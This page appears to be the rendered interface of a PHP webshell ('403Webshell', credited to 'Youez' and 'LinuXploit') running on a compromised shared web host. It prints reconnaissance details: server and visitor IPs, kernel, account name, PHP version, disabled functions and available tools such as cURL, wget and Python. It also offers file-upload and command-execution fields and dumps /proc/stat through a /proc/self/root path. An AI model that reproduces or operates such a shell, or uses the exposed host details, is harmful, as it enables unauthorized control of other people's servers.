403Webshell
Server IP : 192.64.118.117  /  Your IP : 3.143.254.11
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc//stat
cpu  3956748982 58673140 1159952947 11797129714 173513197 0 109531397 27581622 0 0
cpu0 81970749 1206103 23970220 243799170 3600435 0 3316994 601027 0 0
cpu1 82769077 1237956 24262277 243850984 3636711 0 2970471 585879 0 0
cpu2 83109020 1235247 24216362 244088107 3661570 0 2753458 577794 0 0
cpu3 83663136 1211368 24240411 243832411 3666464 0 2649982 573638 0 0
cpu4 83528422 1221441 24294287 244818798 3693473 0 2069482 568486 0 0
cpu5 82484468 1241931 24291928 245887127 3695028 0 2031503 574598 0 0
cpu6 82811106 1233297 24356916 245618390 3690461 0 1986967 571354 0 0
cpu7 82619740 1245287 24359809 245822382 3679483 0 1978984 573916 0 0
cpu8 82324224 1248130 24204384 245513646 3665200 0 2497422 572417 0 0
cpu9 83083566 1217378 24158727 244832297 3647284 0 2512582 571701 0 0
cpu10 82500007 1228735 24237998 245421338 3614992 0 2472673 571715 0 0
cpu11 83058805 1240658 24187405 244908160 3638671 0 2455356 568745 0 0
cpu12 81740547 1231029 24266292 246112955 3658853 0 2466075 575049 0 0
cpu13 81530127 1200777 23891791 241428198 3484990 0 6455473 633786 0 0
cpu14 81715600 1200658 24098608 241715677 3522048 0 6073987 598799 0 0
cpu15 83464434 1230957 24035611 244740290 3594838 0 2434923 569622 0 0
cpu16 82239230 1213289 24226400 245531278 3605104 0 2616170 574901 0 0
cpu17 82451182 1229804 24142663 245435487 3615035 0 2575423 575923 0 0
cpu18 82001729 1237669 24149625 245975329 3639861 0 2436531 576715 0 0
cpu19 83441470 1234951 24081335 244718698 3623867 0 2426467 566635 0 0
cpu20 81644383 1219754 24276410 247084254 3635200 0 1908511 571060 0 0
cpu21 82118251 1232013 24165515 246749797 3618549 0 1896211 570556 0 0
cpu22 82734945 1203381 24172288 246174968 3604670 0 1887629 566140 0 0
cpu23 82844740 1244775 24372798 244662846 3543243 0 1706094 602575 0 0
cpu24 82759450 1227428 24131031 246172436 3617242 0 1888175 566835 0 0
cpu25 81897446 1238419 24240897 246873342 3630654 0 1899093 570891 0 0
cpu26 81671013 1211816 24249895 247123939 3644251 0 1886688 568707 0 0
cpu27 82725827 1221650 24158557 246156607 3616987 0 1880969 569003 0 0
cpu28 82292649 1214483 24144764 246636808 3600589 0 1887801 570281 0 0
cpu29 81895244 1222249 24259576 246917322 3604625 0 1883214 570122 0 0
cpu30 83110009 1236239 24002214 245990077 3589804 0 1871385 563227 0 0
cpu31 82570726 1205074 24090146 246420968 3607134 0 1887364 567788 0 0
cpu32 83152188 1221349 24049702 245901563 3604331 0 1875021 564494 0 0
cpu33 82265533 1231633 24187413 246612601 3605098 0 1879409 568299 0 0
cpu34 82365653 1213525 24126795 246600939 3610281 0 1881829 569025 0 0
cpu35 82118310 1213616 24154258 246835021 3590952 0 1868101 571093 0 0
cpu36 82900127 1199961 24079544 246176915 3583333 0 1869803 566070 0 0
cpu37 82272585 1203192 24125343 246715831 3593140 0 1876328 567430 0 0
cpu38 82355051 1206964 24123600 246619915 3612398 0 1873572 567766 0 0
cpu39 82098999 1226163 24053794 246958998 3600564 0 1867318 567252 0 0
cpu40 82533530 1199542 24076450 246517656 3607580 0 1865517 565803 0 0
cpu41 80220233 1215797 24080451 248221844 3683727 0 1989227 591914 0 0
cpu42 81845496 1207032 24244464 247031830 3597393 0 1862192 569969 0 0
cpu43 81719693 1216042 24170738 247244680 3573965 0 1872000 568435 0 0
cpu44 83213700 1230543 24012008 245881718 3583999 0 1863962 565687 0 0
cpu45 82327841 1215182 24146363 246667282 3583321 0 1864249 566248 0 0
cpu46 82031261 1226461 24121755 246917188 3625154 0 1879051 569794 0 0
cpu47 82557436 1222167 24263111 245211621 3510622 0 1679738 602433 0 0
intr 211874703348 185 9 0 0 956 0 0 0 0 0 0 0 309 0 3550637 0 0 0 0 0 0 0 0 0 0 19 0 0 0 1993819203 1976273394 0 342324834 1480203840 0 211112570 198630177 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 202423710971
btime 1742264748
processes 461835607
procs_running 25
procs_blocked 1
softirq 78754667748 1 165933329 14901 2681134811 3870287740 0 239082005 3422680870 2562816 3948461835

Youez - 2016 - github.com/yon3zu
LinuXploit